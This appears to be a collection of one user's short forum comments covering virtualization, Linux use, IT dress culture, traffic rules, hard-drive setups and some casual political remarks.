I’m a govt. contractor. I will retire the day before he’s swarn in. I’m not sure what I’ll do beyond that. A lot of Americans already retire to Costa Rica or Panama. I’ll have to decide whether to run away or stay & resist.

They are both viable options that have different advantages.
VBox has a nice friendly GUI.
KVM is fast & efficient.

I don’t find this creepy at all. All the “personalities” in my brain are just parts of me.

In other news… I lost the game.

I remember that time Trump almost died of covid, but he receive a “miracle” treatment that he promised he’d make available for everyone. Lol

Next, please fix suburbs!

Not In My Backyard ™

I’ve never heard of drive through funerals. That shounds like a Covid distancing measure.

K8s is great, but you’re chaning the subject and not answering OPs question. Containers =/= VMs.

I remember when right on red was first implemented. The purpose was to save on fuel during the energy crisis back in the 70s/80s. It’s saves some huge amount of green house gasses. A lot of localities spent a fortune on “no right on red” signs.

Theoretically, right on red is a good thing, but theoretically, everybody follows the rules and nobody makes mistakes.

But hunger is real.

I’ve been running Linux as my primary OS since the late 90s and have never run into this problem.

Don’t feed the trolls.

If you want to scream, try wifi drivers on BSD!

In the early 90s at the dawn of my programing/sysadmin career. I showed up to my first week of work at “Initech” in dress pants, shirt, and tie. The senior gray beard UNIX sysadmin wore wholey jeans and ratty t-shirts. I don’t recall whether he sat me down and told me, or I figured it out on my own that to be taken seriously in a technical field you must dress down. Brilliant people look disheveled (see Albert Einstein, Steve Wozniak, et al). I ditched the stupid tie & began dressing more comfortably.

Anthropologists call this antagonistic aculturation. Us IT geeks intentionally set our selves apart from the business drones & we had to exercise our privilege of dressing comfortabley while working ungodly hours to solve impossible problems.

Now I’m the gray beard and I’ve mentoed the brighter of the pimple faced youths I’ve hired in the ancient customs of our tribe. Looking back, It seems that IT’s greatest influence on business has not been the increased efficiency of the paperless office, but the casual attire that most office workers now enjoy.

You’re welcome, world.

I installed ubuntu on my workstation in 2013 and have upgraded the OS since. I’ve swapped out the motherboard and added 5 drives in raid6. The thing morphed from a desktop into a server over the years. The only original HW is the case (power supply died a few years ago). I never really concidered wiping & installing a new OS.

I wouldn’t mix 5400 rpm drives with 7200 rpm drives, but if the rpm & sizes are the same, there won’t be any measurable performance loss.

Please don’t put the punchline in the title.
